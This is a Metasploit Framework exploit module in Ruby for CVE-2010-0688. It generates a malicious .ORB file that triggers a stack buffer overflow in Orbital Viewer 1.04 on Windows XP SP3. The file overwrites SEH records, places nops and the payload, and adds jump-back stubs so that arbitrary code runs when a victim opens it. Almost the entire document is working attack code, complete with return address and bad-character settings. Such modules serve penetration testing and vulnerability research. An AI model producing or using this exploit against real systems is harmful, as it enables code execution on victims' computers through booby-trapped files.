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##
# $Id: orbital_viewer_orb.rb 8757 2010-03-09 05:57:22Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Orbital Viewer ORB File Parsing Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in David Manthey's
Orbital Viewer. When processing .ORB files, data is read from file into
a fixed-size stack buffer using the fscanf function. Since no bounds
checking is done, a buffer overflow can occur. Attackers can execute
arbitrary code by convincing their victim to open an ORB file.
},
'License' => MSF_LICENSE,
'Author' => [ 'jduck' ],
'Version' => '$Revision: 8757
,
'References' =>
[
[ 'BID', '38436' ],
[ 'OSVDB', '62580' ],
[ 'CVE', '2010-0688' ],
[ 'URL', 'http://www.corelan.be:8800/index.php/forum/security-advisories/corelan-10-011-orbital-viewer-orb-buffer-overflow/' ],
[ 'URL', 'http://www.exploit-db.com/exploits/11581' ]
],
'Payload' =>
{
'Space' => 2048,
'BadChars' => "\x00\x09\x0a\x0d\x20", # \xbd was safe in my test, \x09 was not
'DisableNops' => true,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Orbital Viewer 1.04 on Windows XP SP3',
{
'Ret' => 0x004032a2, # p/p/r in ov.exe v1.0.0.2
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Feb 27 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.orb']),
], self.class)
end
def exploit
# One for double-click
seh1 = 3968
# One for DnD and File->Open
seh2 = seh1 + 2092
sploit = "OrbitalFileV1.0\r\n"
line2 = ''
nop_count = seh1 - payload.encoded.length
line2 << make_nops(nop_count)
line2 << payload.encoded
line2 << generate_seh_record(target.ret)
distance = seh1 + 8
line2 << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
line2 << rand_text_alphanumeric(seh2 - line2.length)
line2 << generate_seh_record(target.ret)
distance = seh2 + 8
line2 << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
# Crash writing past end of stack...
line2 << rand_text_alphanumeric(1024) * 20
sploit << line2
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sploit)
end
end
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